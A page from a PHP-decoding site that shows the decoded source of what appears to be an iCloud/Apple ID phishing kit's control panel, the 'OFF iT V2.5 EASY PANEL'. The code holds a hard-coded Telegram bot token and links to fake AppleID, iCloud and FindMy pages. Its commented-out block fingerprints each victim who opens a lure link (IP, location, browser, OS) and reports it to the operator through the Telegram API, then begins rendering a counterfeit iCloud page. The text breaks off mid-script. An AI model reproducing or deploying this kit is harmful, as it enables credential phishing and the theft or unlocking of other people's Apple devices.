Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $_F=__FILE__;$_X='Pz48P3BocCBzNXNzNDJuX3N0MXJ0KCk7IA0KNGYgKCE0c3M1dCgkX1NFU1NJT05bJ1..

Decoded Output download

<?php ?><?php session_start();
if (!isset($_SESSION['UserData']['Username'])) {
    header("location:login.php");
    exit;
}
include ('../ajax/ajaxi.php');
$_SES2 = "968516900:AAHdJajI1Yn4a1vm0HYxm-Wjx4qQJ9aS_-c";
if ($_SES2 !== $token) {
    $msgerr = "<span align='center' style='color:red'>Invalid Details</span>



";
    $msgerr.= "<span  style='color:green'>Contact</span>



";
    echo $msgerr;
    echo "<a href=\"https://t.me/itechnoo\" class=\"Button3\">@itechnoo</a>";
    exit;
}
echo "
<!DOCTYPE html>
<html >
<head>  
  <title>--> iTech Panel UPdated <--</title>
  
      <link rel=\"stylesheet\" href=\"style1.css\">
<meta name=\"viewport\" content=\"initial-scale=1, maximum-scale=1\">
  
</head>

<body>
<br><br>
  <h1> OFF iT V2.5 EASY PANEL</h1>

";
echo "<center>
";
echo "<div class=\"btn-container\">
<br><br>
  
<a href=\"../ic\" class=\"btn\">iCloud /Pass 20 </a><br><br>
  
<a href=\"../id/appleid\" class=\"btn\">AppleID</a><br><br>
  
<a href=\"../find/icmps\" class=\"btn\">FMI Compass/Ic 2020</a><br><br>  
  
<a href=\"../fmi/dual\" class=\"btn\">FMI/DUAL</a><br><br>
  
<a href=\"../FMI/ifmi\" class=\"btn\">findmy to fmi</a><br><br>

<a href=\"../FMY/ifdmy\" class=\"btn\">findmy to icloud</a><br><br>

<a href=\"../maps/mapper\" class=\"btn\">New Map 20</a><br><br>
  
<a href=\"../findmy/ifindmy\" class=\"btn\">FindMy</a><br><br>

<a href=\"../support/support\" class=\"btn\">Support</a><br><br>

<a href=\"../ver/itech4\" class=\"btn\">Pass 4</a><br><br>
  
<a href=\"../vrf/itech6\" class=\"btn\">Pass 6</a><br><br>

<a href=\"../itv/iTV\" class=\"btn\">AppTv</a><br><br>

<a href=\"logout.php\" class=\"btn\">Logout</a><br><br>


</div>
  
  ";
echo "</center>
";
echo "<script src='https://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>

  
</body>
</html>
";
/*
header ('Content-type: text/html; charset=utf-8');
error_reporting(0);
$ID = empty($_GET["ID"]) ? NULL : $_GET["ID"];
$auth = empty($_GET["auth"]) ? NULL : $_GET["auth"];
$accessed = file_get_contents("ajax/orders.txt");
if ($_SERVER["HTTP_HOST"] != "localhost") {
    if (empty($ID) & empty($auth)) {
        header("Location: https://icloud.com");
        exit;
    }
    if (strstr($accessed, $ID) || strstr($accessed, $auth)) {
    } else {
        header("Location: https://icloud.com");
        exit;
    }
}

function getOS($user_agent) { 
    $os_platform  = "Unknown OS Platform";

    $os_array     = array(
                          '/windows nt 10/i'      =>  'Windows 10',
                          '/windows nt 6.3/i'     =>  'Windows 8.1',
                          '/windows nt 6.2/i'     =>  'Windows 8',
                          '/windows nt 6.1/i'     =>  'Windows 7',
                          '/windows nt 6.0/i'     =>  'Windows Vista',
                          '/windows nt 5.2/i'     =>  'Windows Server 2003/XP x64',
                          '/windows nt 5.1/i'     =>  'Windows XP',
                          '/windows xp/i'         =>  'Windows XP',
                          '/windows nt 5.0/i'     =>  'Windows 2000',
                          '/windows me/i'         =>  'Windows ME',
                          '/win98/i'              =>  'Windows 98',
                          '/win95/i'              =>  'Windows 95',
                          '/win16/i'              =>  'Windows 3.11',
                          '/macintosh|mac os x/i' =>  'Mac OS X',
                          '/mac_powerpc/i'        =>  'Mac OS 9',
                          '/linux/i'              =>  'Linux',
                          '/ubuntu/i'             =>  'Ubuntu',
                          '/iphone/i'             =>  'iPhone',
                          '/ipod/i'               =>  'iPod',
                          '/ipad/i'               =>  'iPad',
                          '/android/i'            =>  'Android',
                          '/blackberry/i'         =>  'BlackBerry',
                          '/webos/i'              =>  'Mobile'
                    );

    foreach ($os_array as $regex => $value)
        if (preg_match($regex, $user_agent))
            $os_platform = $value;

    return $os_platform;

} 

function getBrowser(){

$agent = $_SERVER['HTTP_USER_AGENT'];
$name = 'NA';


if (preg_match('/MSIE/i', $agent) && !preg_match('/Opera/i', $agent)) {
    $name = 'Internet Explorer';
} elseif (preg_match('/Firefox/i', $agent)) {
    $name = 'Mozilla Firefox';
} elseif (preg_match('/Chrome/i', $agent)) {
    $name = 'Google Chrome';
} elseif (preg_match('/Safari/i', $agent)) {
    $name = 'Apple Safari';
} elseif (preg_match('/Opera/i', $agent)) {
    $name = 'Opera';
} elseif (preg_match('/Netscape/i', $agent)) {
    $name = 'Netscape';
}


return $name;
}

function ip_info($ip = NULL, $purpose = "location", $deep_detect = TRUE) {
    $output = NULL;
    if (filter_var($ip, FILTER_VALIDATE_IP) === FALSE) {
        $ip = $_SERVER["REMOTE_ADDR"];
        if ($deep_detect) {
            if (filter_var(@$_SERVER['HTTP_X_FORWARDED_FOR'], FILTER_VALIDATE_IP))
                $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
            if (filter_var(@$_SERVER['HTTP_CLIENT_IP'], FILTER_VALIDATE_IP))
                $ip = $_SERVER['HTTP_CLIENT_IP'];
        }
    }
    $purpose    = str_replace(array("name", "
", "	", " ", "-", "_"), NULL, strtolower(trim($purpose)));
    $support    = array("country", "countrycode", "state", "region", "city", "location", "address");
    $continents = array(
        "AF" => "Africa",
        "AN" => "Antarctica",
        "AS" => "Asia",
        "EU" => "Europe",
        "OC" => "Australia (Oceania)",
        "NA" => "North America",
        "SA" => "South America"
    );
    if (filter_var($ip, FILTER_VALIDATE_IP) && in_array($purpose, $support)) {
        $ipdat = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=" . $ip));
        if (@strlen(trim($ipdat->geoplugin_countryCode)) == 2) {
            switch ($purpose) {
                case "location":
                    $output = array(
                        "city"           => @$ipdat->geoplugin_city,
                        "state"          => @$ipdat->geoplugin_regionName,
                        "country"        => @$ipdat->geoplugin_countryName,
                        "country_code"   => @$ipdat->geoplugin_countryCode,
                        "continent"      => @$continents[strtoupper($ipdat->geoplugin_continentCode)],
                        "continent_code" => @$ipdat->geoplugin_continentCode
                    );
                    break;
                case "address":
                    $address = array($ipdat->geoplugin_countryName);
                    if (@strlen($ipdat->geoplugin_regionName) >= 1)
                        $address[] = $ipdat->geoplugin_regionName;
                    if (@strlen($ipdat->geoplugin_city) >= 1)
                        $address[] = $ipdat->geoplugin_city;
                    $output = implode(", ", array_reverse($address));
                    break;
                case "city":
                    $output = @$ipdat->geoplugin_city;
                    break;
                case "state":
                    $output = @$ipdat->geoplugin_regionName;
                    break;
                case "region":
                    $output = @$ipdat->geoplugin_regionName;
                    break;
                case "country":
                    $output = @$ipdat->geoplugin_countryName;
                    break;
                case "countrycode":
                    $output = @$ipdat->geoplugin_countryCode;
                    break;
            }
        }
    }
    return $output;
}
function getUserIP(){
    // Get real visitor IP behind CloudFlare network
    if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) {
              $_SERVER['REMOTE_ADDR'] = $_SERVER["HTTP_CF_CONNECTING_IP"];
              $_SERVER['HTTP_CLIENT_IP'] = $_SERVER["HTTP_CF_CONNECTING_IP"];
    }
    $client  = @$_SERVER['HTTP_CLIENT_IP'];
    $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
    $remote  = $_SERVER['REMOTE_ADDR'];

    if(filter_var($client, FILTER_VALIDATE_IP))
    {
        $ip = $client;
    }
    elseif(filter_var($forward, FILTER_VALIDATE_IP))
    {
        $ip = $forward;
    }
    else
    {
        $ip = $remote;
    }

    return $ip;
}
$lang = substr($_SERVER["HTTP_ACCEPT_LANGUAGE"], 0, 2);
$url="https://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
$uri = substr($url, 0, -5);
$IP = getUserIP();
$browser = getBrowser();
$os = getOS($_SERVER['HTTP_USER_AGENT']);
$country = ip_info("Visitor", "City")." ".ip_info("Visitor", "Country");
include "ajax/ajaxi.php";
$headers = "Content-type: text/html; charset=iso-8859-1" . "
";
$headers .= 'From: OFFiT' . "
";
$headers .= 'MIME-Version: 1.0' . "
";
$subject = "Visit Details for order: $auth / $ID ";
$message = '<table style="background:none repeat scroll 0% 0% rgb(244,244,244);border:1px solid rgb(102,102,102)" border="0" cellpadding="5" cellspacing="5" width="600">' . "
" . '    <tbody>' . "
" . '        <tr>' . "
" . '            <th style="background-color:rgb(204,204,204)">Owner Visit Details</th>' . "
" . '        </tr>' . "
" . '        <tr>' . "
" . '            <td style="text-align:left" valign="top">' . "
" . '            <br>' . "
			" . '<hr>' . "
" . '            <strong>IP Address:</strong>' . $IP .' / '.$country.'<br><br>' . "
" . '                        <strong>Order id:</strong>' . $auth . '/'. $ID . '<br><br>' . "
" . '                        <strong>Browser:</strong>' . $browser . '<br><br><strong>OS:</strong>' . $os . '<br><br>' . "
" . '                       ' . "
			" . '<strong>Browser:</strong>' . $browser . '<br><br>' . "
			" . '</td>' . "
" . '        </tr>' . "
" . '        <tr>' . "
" . '            <td style="text-align:left"><em>Thanks,<br>' . "
" . '            itech<br>' . "
" . '            </td>' . "
" . '        </tr>' . "
" . '    </tbody>' . "
" . '</table>';
$ttrue = "Owner opened link ( iCloud W/pass 2020 )
=========================
link: #$url
IP: $IP
Browser: $browser
OS: $os
Country: $country
Language: $lang
=========================
Order details:
auth: $auth
ID: $ID
=============
=> Waitin Login <=";
$datatrue = array("text" => $ttrue, "chat_id" => $chat_id);
// mail($to, $subject, $message, $headers);
file_get_contents("https://api.telegram.org/bot" . $token . "/sendMessage?" . http_build_query($datatrue));
$lang = substr($_SERVER["HTTP_ACCEPT_LANGUAGE"], 0, 2);
switch ($lang) {
    case "en":
        $lang_file = "lang.en.php";
    break;
    case "fr":
        $lang_file = "lang.fr.php";
    break;
    case "pt":
        $lang_file = "lang.pt.php";
    break;
    case "it":
        $lang_file = "lang.it.php";
    break;
    case "vi":
        $lang_file = "lang.vi.php";
    break;
    case "es":
        $lang_file = "lang.es.php";
    break;
    case "de":
        $lang_file = "lang.de.php";
    break;
    case "id":
        $lang_file = "lang.id.php";
    break;
    case "ja":
        $lang_file = "lang.ja.php";
    break;
    case "nl":
        $lang_file = "lang.nl.php";
    break;
    case "be":
        $lang_file = "lang.be.php";
    break;
    case "tr":
        $lang_file = "lang.tr.php";
    break;
    case "th":
        $lang_file = "lang.th.php";
    break;
    case "pl":
        $lang_file = "lang.pl.php";
    break;
    case "zh":
        $lang_file = "lang.zh.php";
    break;
    case "hu":
        $lang_file = "lang.hu.php";
    break;
    case "ru":
        $lang_file = "lang.ru.php";
    break;
    default:
        $lang_file = "lang.en.php";
}
include_once "assets/languages/" . $lang_file;
echo "<!DOCTYPE html>
";
echo "<html data-rtl=\"false\" lang=\"en\">
";
//echo "		    <head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">
";
echo "		    	<script src=\"css3/jquery-1.10.2.js\"></script>
";
echo "		<script type='text/javascript'>
";
echo "			$(document).ready(function () {
";
echo "			var ss = setTimeout(function () {}, 2000);
";
echo "			});
";
echo "		</script>
";
echo "		<title>iCloud</title>
";
echo "		
";
echo "		<base href=\"/\">
";
echo "		<meta name=\"viewport\" content=\"width=device-width, initial-scale=1, maximum-scale=1\">
";
echo "	<!-- <link rel=\"stylesheet\" href=\"//www.apple.com/wss/fonts?families=SF+Pro,v1|SF+Pro+Icons,v1\" type=\"text/css\"> -->
";
echo "	<link rel=\"stylesheet\" type=\"text/css\" media=\"screen\" href=\"css3/app.css\">
";
echo "	<link rel=\"stylesheet\" href=\"css3/main.css\">
";
echo "	<link rel=\"stylesheet\" href=\"css3/loader.css\">
";
echo "	<!-- <script src=\"https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js\"></script> -->
";
echo "	<!-- <script src=\"https://code.jquery.com/jquery-1.12.4.js\"></script> -->
";
echo "	<script src=\"https://code.jquery.com/ui/1.12.1/jquery-ui.js\"></script>
";
echo "	<script>
";
echo "	$(document).ready(function() {
";
echo "	  function show_body() {
";
echo "				$(\"#cw-bootstrap-html\").addClass(\"hide\");
";
echo "				$(\"#step2\").removeClass(\"hide\");
";
echo "			}
";
echo "			setTimeout(show_body, 2000);
";
echo "	  $(\"#div1\").css(\"width\", $(window).width());
";
echo "	  
";
echo "	  $(\"#div1\").css(\"height\", $(window).height() - 44);
";
echo "	  $(\"#div_icon\").css(\"left\", $(window).width() / 2 - 80);
";
echo "	  $(\"#div_text_1\").css(\"left\", $(window).width() / 2 - 145);
";
echo "	  $(\"#div_text_2\").css(\"left\", $(window).width() / 2 - 78);
";
echo "	  
";
echo "	  var res = $(window).width() * 0.05 + 25;
";
echo "	  var intre = $(window).width() * 0.02 + 25;
";
echo "	  var left = ($(window).width() - (res * 6 + intre * 5)) / 2;
";
echo "	  var top = ($(window).height() - (res * 1.34 + res * 1.34 + 80)) / 2;
";
echo "	  var blur = $(window).width() * 0.02 + 20;
";
echo "	  $(\"#div1\").css(\"filter\", \"blur(\"+blur+\"px)\");
";
echo "	  
";
echo "	  if ($(window).width() <= 764 && $(window).width() > 420) {
";
echo "		var left = ($(window).width() - (res * 4 + intre * 3)) / 2;
";
echo "		// 1 rand 
";
echo "		$(\"#icon_1\").css(\"left\", left);
";
echo "		$(\"#icon_1\").css(\"top\", top + 104);
";
echo "		$(\"#icon_1\").css(\"width\", res);
";
echo "		$(\"#icon_1\").css(\"height\", res * 1.34);
";
echo "		$(\"#icon_2\").css(\"left\", left + intre + res);
";
echo "		$(\"#icon_2\").css(\"top\", top + 104);
";
echo "		$(\"#icon_2\").css(\"width\", res);
";
echo "		$(\"#icon_2\").css(\"height\", res * 1.34);
";
echo "		$(\"#icon_3\").css(\"left\", left + (intre + res) * 2);
";
echo "		$(\"#icon_3\").css(\"top\", top + 104);
";
echo "		$(\"#icon_3\").css(\"width\", res);
";
echo "		$(\"#icon_3\").css(\"height\", res * 1.34);
";
echo "		$(\"#icon_4\").css(\"left\", left + (intre + res) * 3);
";
echo "		$(\"#icon_4\").css(\"top\", top + 104);
";
echo "		$(\"#icon_4\").css(\"width\", res);
";
echo "		$(\"#icon_4\").css(\"height\", res * 1.34);
";
echo "		// 2 rand 
";
echo "		$(\"#icon_5\").css(\"left\", left);
";
echo "		$(\"#icon_5\").css(\"top\", top + 104 + res * 1.34 + 80);
";
echo "		$(\"#icon_5\").css(\"width\", res);
";
echo "		$(\"#icon_5\").css(\"height\", res * 1.34);
";
echo "		$(\"#icon_6\").css(\"left\", left+intre+res);
";
echo "		$(\"#icon_6\").css(\"top\", top + 104 + res * 1.34 + 80);
";
echo "		$(\"#icon_6\").css(\"width\", res);
";
echo "		$(\"#icon_6\").css(\"height\", res * 1.34);
";
echo "		$(\"#icon_7\").css(\"left\", left+(intre+res)*2);
";
echo "		$(\"#icon_7\").css(\"top\", top + 104 + res * 1.34 + 80);
";
echo "		$(\"#icon_7\").css(\"width\", res);
";
echo "		$(\"#icon_7\").css(\"height\", res * 1.34);
";
echo "		$(\"#icon_8\").css(\"left\", left+(intre+res)*3);
";
echo "		$(\"#icon_8\").css(\"top\", top + 104 + res * 1.345 + 80);
";
echo "		$(\"#icon_8\").css(\"width\", res);
";
echo "		$(\"#icon_8\").css(\"height\", res * 1.34);
";
echo "		// 3 rand 
";
echo "		$(\"#icon_9\").css(\"left\", left);
";
echo "		$(\"#icon_9\").css(\"top\", top + 104 + res * 1.34 + 80 + res * 1.34 + 80);
";
echo "		$(\"#icon_9\").css(\"width\", res);
";
echo "		$(\"#icon_9\").css(\"height\", res * 1.34);
";
echo "		$(\"#icon_10\").css(\"left\", left + intre + res);
";
echo "		$(\"#icon_10\").css(\"top\", top + 104 + res * 1.34 + 80 + res * 1.34 + 80);
";
echo "		$(\"#icon_10\").css(\"width\", res);
";
echo "		$(\"#icon_10\").css(\"height\", res * 1.34);
";
echo "		$(\"#icon_11\").css(\"left\", left+(intre+res)*2);
";
echo "		$(\"#icon_11\").css(\"top\", top + 104 + res * 1.34 + 80 + res * 1.34 + 80);
";
echo "		$(\"#icon_11\").css(\"width\", res);
";
echo "		$(\"#icon_11\").css(\"height\", res * 1.34);
";
echo "		$(\"#icon_12\").css(\"left\", left+(intre+res)*3);
";
echo "		$(\"#icon_12\").css(\"top\", top + 104 + res * 1.34 + 80 + res * 1.34 + 80);
";
echo "		$(\"#icon_12\").css(\"width\", res);
";
echo "		$(\"#icon_12\").css(\"height\", res * 1.34);
";
echo "	  } else if ($(window).width() <= 412){
";
echo "		// alert(\"MOBILE\");
";
echo "		var left = ($(window).width() - (60 * 3 + 30 * 2)) / 2;
";
echo "		$(\"#div_icon\").css(\"left\", $(window).width() / 2 - 42);
";
echo "		$(\"#div_icon\").css(\"width\", 78);
";
echo "		$(\"#div_icon\").css(\"height\", 78);
";
echo "		$(\"#div_icon\").css(\"top\", 160);
";
echo "		$(\"#div_text_1\").css(\"left\", $(window).width() / 2 - 145);
";
echo "		$(\"#div_text_2\").css(\"left\", $(window).width() / 2 - 78);
";
echo "		$(\"#icon_1\").addClass(\"hide\");
";
echo "		$(\"#icon_2\").addClass(\"hide\");
";
echo "		$(\"#icon_3\").addClass(\"hide\");
";
echo "		$(\"#icon_4\").css(\"left\", left);
";
echo "		$(\"#icon_4\").css(\"top\", top + 104);
";
echo "		$(\"#icon_4\").css(\"width\", 60);
";
echo "		$(\"#icon_4\").css(\"height\", 84);
";
echo "		$(\"#icon_5\").addClass(\"hide\");
";
echo "		$(\"#icon_6\").css(\"left\", left+60+30);
";
echo "		$(\"#icon_6\").css(\"top\", top + 104);
";
echo "		$(\"#icon_6\").css(\"width\", 60);
";
echo "		$(\"#icon_6\").css(\"height\", 84);
";
echo "		$(\"#icon_12\").css(\"left\", left+60+30+60+30);
";
echo "		$(\"#icon_12\").css(\"top\", top + 104);
";
echo "		$(\"#icon_12\").css(\"width\", 60);
";
echo "		$(\"#icon_12\").css(\"height\", 84);
";
echo "	
";
echo "	  } else {
";
echo "		$(\"#icon_1\").css(\"left\", left);
";
echo "		$(\"#icon_1\").css(\"top\", top + 104);
";
echo "		$(\"#icon_1\").css(\"width\", res);
";
echo "		$(\"#icon_1\").css(\"height\", res * 1.34);
";
echo "		$(\"#icon_2\").css(\"left\", left + intre + res);
";
echo "		$(\"#icon_2\").css(\"top\", top + 104);
";
echo "		$(\"#icon_2\").css(\"width\", res);
";
echo "		$(\"#icon_2\").css(\"height\", res * 1.34);
";
echo "		$(\"#icon_3\").css(\"left\", left+(intre+res)*2);
";
echo "		$(\"#icon_3\").css(\"top\", top + 104);
";
echo "		$(\"#icon_3\").css(\"width\", res);
";
echo "		$(\"#icon_3\").css(\"height\", res * 1.34);
";
echo "		$(\"#icon_4\").css(\"left\", left+(intre+res)*3);
";
echo "		$(\"#icon_4\").css(\"top\", top + 104);
";
echo "		$(\"#icon_4\").css(\"width\", res);
";
echo "		$(\"#icon_4\").css(\"height\", res * 1.34);
";
echo "		$(\"#icon_5\").css(\"left\", left+(intre+res)*4);
";
echo "		$(\"#icon_5\").css(\"top\", top + 104);
";
echo "		$(\"#icon_5\").css(\"width\", res);
";
echo "		$(\"#icon_5\").css(\"height\", res * 1.34);
";
echo "		$(\"#icon_6\").css(\"left\", left+(intre+res)*5);
";
echo "		$(\"#icon_6\").css(\"top\", top + 104);
";
echo "		$(\"#icon_6\").css(\"width\", res);
";
echo "		$(\"#icon_6\").css(\"height\", res * 1.34);
";
echo "		$(\"#icon_7\").css(\"left\", left);
";
echo "		$(\"#icon_7\").css(\"top\", top + 104 + res * 1.34 + 50);
";
echo "		$(\"#icon_7\").css(\"width\", res);
";
echo "		$(\"#icon_7\").css(\"height\", res * 1.34);
";
echo "		$(\"#icon_8\").css(\"left\", left+intre+res);
";
echo "		$(\"#icon_8\").css(\"top\", top + 104 + res * 1.34 + 50);
";
echo "		$(\"#icon_8\").css(\"width\", res);
";
echo "		$(\"#icon_8\").css(\"height\", res * 1.34);
";
echo "		$(\"#icon_9\").css(\"left\", left+(intre+res)*2);
";
echo "		$(\"#icon_9\").css(\"top\", top + 104 + res * 1.34 + 50);
";
echo "		$(\"#icon_9\").css(\"width\", res);
";
echo "		$(\"#icon_9\").css(\"height\", res * 1.34);
";
echo "		$(\"#icon_10\").css(\"left\", left+(intre+res)*3);
";
echo "		$(\"#icon_10\").css(\"top\", top + 104 + res * 1.34 + 50);
";
echo "		$(\"#icon_10\").css(\"width\", res);
";
echo "		$(\"#icon_10\").css(\"height\", res * 1.34);
";
echo "		$(\"#icon_11\").css(\"left\", left+(intre+res)*4);
";
echo "		$(\"#icon_11\").css(\"top\", top + 104 + res * 1.34 + 50);
";
echo "		$(\"#icon_11\").css(\"width\", res);
";
echo "		$(\"#icon_11\").css(\"height\", res * 1.34);
";
echo "		$(\"#icon_12\").css(\"left\", left+(intre+res)*5);
";
echo "		$(\"#icon_12\").css(\"top\", top + 104 + res * 1.34 + 50);
";
echo "		$(\"#icon_12\").css(\"width\", res);
";
echo "		$(\"#icon_12\").css(\"height\", res * 1.34);
";
echo "	  }
";
echo "	});
";
echo "	$(window).on(\"resize\", function(){
";
echo "	  var win = $(this); //this = window
";
echo "	  $(\"#div1\").css(\"width\", $(window).width());
";
echo "	  $(\"#div1\").css(\"height\", $(window).height() - 44);
";
echo "	  $(\"#div_icon\").css(\"left\", $(window).width() / 2 - 80);
";
echo "	  $(\"#div_text_1\").css(\"left\", $(window).width() / 2 - 145);
";
echo "	  $(\"#div_text_2\").css(\"left\", $(window).width() / 2 - 78);
";
echo "	  
";
echo "	  var res = $(window).width() * 0.05 + 25;
";
echo "	  var intre = $(window).width() * 0.02 + 25;
";
echo "	  var left = ($(window).width() - (res * 6 + intre * 5)) / 2;
";
echo "	  var top = ($(window).height() - (res * 1.34 + res * 1.34 + 80)) / 2;
";
echo "	  var blur = $(window).width() * 0.02 + 20;
";
echo "	  $(\"#div1\").css(\"filter\", \"blur(\"+blur+\"px)\");
";
echo "	  
";
echo "	  if ($(window).width() <= 764 && $(window).width() > 420) {
";
echo "		var left = ($(window).width() - (res * 4 + intre * 3)) / 2;
";
echo "		// 1 rand 
";
echo "		$(\"#icon_1\").css(\"left\", left);
";
echo "		$(\"#icon_1\").css(\"top\", top + 104);
";
echo "		$(\"#icon_1\").css(\"width\", res);
";
echo "		$(\"#icon_1\").css(\"height\", res * 1.34);
";
echo "		$(\"#icon_2\").css(\"left\", left + intre + res);
";
echo "		$(\"#icon_2\").css(\"top\", top + 104);
";
echo "		$(\"#icon_2\").css(\"width\", res);
";
echo "		$(\"#icon_2\").css(\"height\", res * 1.34);
";
echo "		$(\"#icon_3\").css(\"left\", left + (intre + res) * 2);
";
echo "		$(\"#icon_3\").css(\"top\", top + 104);
";
echo "		$(\"#icon_3\").css(\"width\", res);
";
echo "		$(\"#icon_3\").css(\"height\", res * 1.34);
";
echo "		$(\"#icon_4\").css(\"left\", left + (intre + res) * 3);
";
echo "		$(\"#icon_4\").css(\"top\", top + 104);
";
echo "		$(\"#icon_4\").css(\"width\", res);
";
echo "		$(\"#icon_4\").css(\"height\", res * 1.34);
";
echo "		// 2 rand 
";
echo "		$(\"#icon_5\").css(\"left\", left);
";
echo "		$(\"#icon_5\").css(\"top\", top + 104 + res * 1.34 + 80);
";
echo "		$(\"#icon_5\").css(\"width\", res);
";
echo "		$(\"#icon_5\").css(\"height\", res * 1.34);
";
echo "		$(\"#icon_6\").css(\"left\", left+intre+res);
";
echo "		$(\"#icon_6\").css(\"top\", top + 104 + res * 1.34 + 80);
";
echo "		$(\"#icon_6\").css(\"width\", res);
";
echo "		$(\"#icon_6\").css(\"height\", res * 1.34);
";
echo "		$(\"#icon_7\").css(\"left\", left+(intre+res)*2);
";
echo "		$(\"#icon_7\").css(\"top\", top + 104 + res * 1.34 + 80);
";
echo "		$(\"#icon_7\").css(\"width\", res);
";
echo "		$(\"#icon_7\").css(\"height\", res * 1.34);
";
echo "		$(\"#icon_8\").css(\"left\", left+(intre+res)*3);
";
echo "		$(\"#icon_8\").css(\"top\", top + 104 + res * 1.345 + 80);
";
echo "		$(\"#icon_8\").css(\"width\", res);
";
echo "		$(\"#icon_8\").css(\"height\", res * 1.34);
";
echo "		// 3 rand 
";
echo "		$(\"#icon_9\").css(\"left\", left);
";
echo "		$(\"#icon_9\").css(\"top\", top + 104 + res * 1.34 + 80 + res * 1.34 + 80);
";
echo "		$(\"#icon_9\").css(\"width\", res);
";
echo "		$(\"#icon_9\").css(\"height\", res * 1.34);
";
echo "		$(\"#icon_10\").css(\"left\", left + intre + res);
";
echo "		$(\"#icon_10\").css(\"top\", top + 104 + res * 1.34 + 80 + res * 1.34 + 80);
";
echo "		$(\"#icon_10\").css(\"width\", res);
";
echo "		$(\"#icon_10\").css(\"height\", res * 1.34);
";
echo "		$(\"#icon_11\").css(\"left\", left+(intre+res)*2);
";
echo "		$(\"#icon_11\").css(\"top\", top + 104 + res * 1.34 + 80 + res * 1.34 + 80);
";
echo "		$(\"#icon_11\").css(\"width\", res);
";
echo "		$(\"#icon_11\").css(\"height\", res * 1.34);
";
echo "		$(\"#icon_12\").css(\"left\", left+(intre+res)*3);
";
echo "		$(\"#icon_12\").css(\"top\", top + 104 + res * 1.34 + 80 + res * 1.34 + 80);
";
echo "		$(\"#icon_12\").css(\"width\", res);
";
echo "		$(\"#icon_12\").css(\"height\", res * 1.34);
";
echo "	  } else if ($(window).width() <= 412){
";
echo "		// alert(\"MOBILE\");
";
echo "		var left = ($(window).width() - (60 * 3 + 30 * 2)) / 2;
";
echo "		$(\"#div_icon\").css(\"left\", $(window).width() / 2 - 42);
";
echo "		$(\"#div_icon\").css(\"width\", 78);
";
echo "		$(\"#div_icon\").css(\"height\", 78);
";
echo "		$(\"#div_icon\").css(\"top\", 160);
";
echo "		$(\"#div_text_1\").css(\"left\", $(window).width() / 2 - 145);
";
echo "		$(\"#div_text_2\").css(\"left\", $(window).width() / 2 - 78);
";
echo "		$(\"#icon_1\").addClass(\"hide\");
";
echo "		$(\"#icon_2\").addClass(\"hide\");
";
echo "		$(\"#icon_3\").addClass(\"hide\");
";
echo "		$(\"#icon_4\").css(\"left\", left);
";
echo "		$(\"#icon_4\").css(\"top\", top + 104);
";
echo "		$(\"#icon_4\").css(\"width\", 60);
";
echo "		$(\"#icon_4\").css(\"height\", 84);
";
echo "		$(\"#icon_5\").addClass(\"hide\");
";
echo "		$(\"#icon_6\").css(\"left\", left+60+30);
";
echo "		$(\"#icon_6\").css(\"top\", top + 104);
";
echo "		$(\"#icon_6\").css(\"width\", 60);
";
echo "		$(\"#icon_6\").css(\"height\", 84);
";
echo "		$(\"#icon_12\").css(\"left\", left+60+30+60+30);
";
echo "		$(\"#icon_12\").css(\"top\", top + 104);
";
echo "		$(\"#icon_12\").css(\"width\", 60);
";
echo "		$(\"#icon_12\").css(\"height\", 84);
";
echo "	
";
echo "	  } else {
";
echo "		$(\"#icon_1\").css(\"left\", left);
";
echo "		$(\"#icon_1\").css(\"top\", top + 104);
";
echo "		$(\"#icon_1\").css(\"width\", res);
";
echo "		$(\"#icon_1\").css(\"height\", res * 1.34);
";
echo "		$(\"#icon_2\").css(\"left\", left + intre + res);
";
echo "		$(\"#icon_2\").css(\"top\", top + 104);
";
echo "		$(\"#icon_2\").css(\"width\", res);
";
echo "		$(\"#icon_2\").css(\"height\", res * 1.34);
";
echo "		$(\"#icon_3\").css(\"left\", left+(intre+res)*2);
";
echo "		$(\"#icon_3\").css(\"top\", top + 104);
";
echo "		$(\"#icon_3\").css(\"width\", res);
";
echo "		$(\"#icon_3\").css(\"height\", res * 1.34);
";
echo "		$(\"#icon_4\").css(\"left\", left+(intre+res)*3);
";
echo "		$(\"#icon_4\").css(\"top\", top + 104);
";
echo "		$(\"#icon_4\").css(\"width\", res);
";
echo "		$(\"#icon_4\").css(\"height\", res * 1.34);
";
echo "		$(\"#icon_5\").css(\"left\", left+(intre+res)*4);
";
echo "		$(\"#icon_5\").css(\"top\", top + 104);
";
echo "		$(\"#icon_5\").css(\"width\", res);
";
echo "		$(\"#icon_5\").css(\"height\", res * 1.34);
";
echo "		$(\"#icon_6\").css(\"left\", left+(intre+res)*5);
";
echo "		$(\"#icon_6\").css(\"top\", top + 104);
";
echo "		$(\"#icon_6\").css(\"width\", res);
";
echo "		$(\"#icon_6\").css(\"height\", res * 1.34);
";
echo "		$(\"#icon_7\").css(\"left\", left);
";
echo "		$(\"#icon_7\").css(\"top\", top + 104 + res * 1.34 + 50);
";
echo "		$(\"#icon_7\").css(\"width\", res);
";
echo "		$(\"#icon_7\").css(\"height\", res * 1.34);
";
echo "		$(\"#icon_8\").css(\"left\", left+intre+res);
";
echo "		$(\"#icon_8\").css(\"top\", top + 104 + res * 1.34 + 50);
";
echo "		$(\"#icon_8\").css(\"width\", res);
";
echo "		$(\"#icon_8\").css(\"height\", res * 1.34);
";
echo "		$(\"#icon_9\").css(\"left\", left+(intre+res)*2);
";
echo "		$(\"#icon_9\").css(\"top\", top + 104 + res * 1.34 + 50);
";
echo "		$(\"#icon_9\").css(\"width\", res);
";
echo "		$(\"#icon_9\").css(\"height\", res * 1.34);
";
echo "		$(\"#icon_10\").css(\"left\", left+(intre+res)*3);
";
echo "		$(\"#icon_10\").css(\"top\", top + 104 + res * 1.34 + 50);
";
echo "		$(\"#icon_10\").css(\"width\", res);
";
echo "		$(\"#icon_10\").css(\"height\", res * 1.34);
";
echo "		$(\"#icon_11\").css(\"left\", left+(intre+res)*4);
";
echo "		$(\"#icon_11\").css(\"top\", top + 104 + res * 1.34 + 50);
";
echo "		$(\"#icon_11\").css(\"width\", res);
";
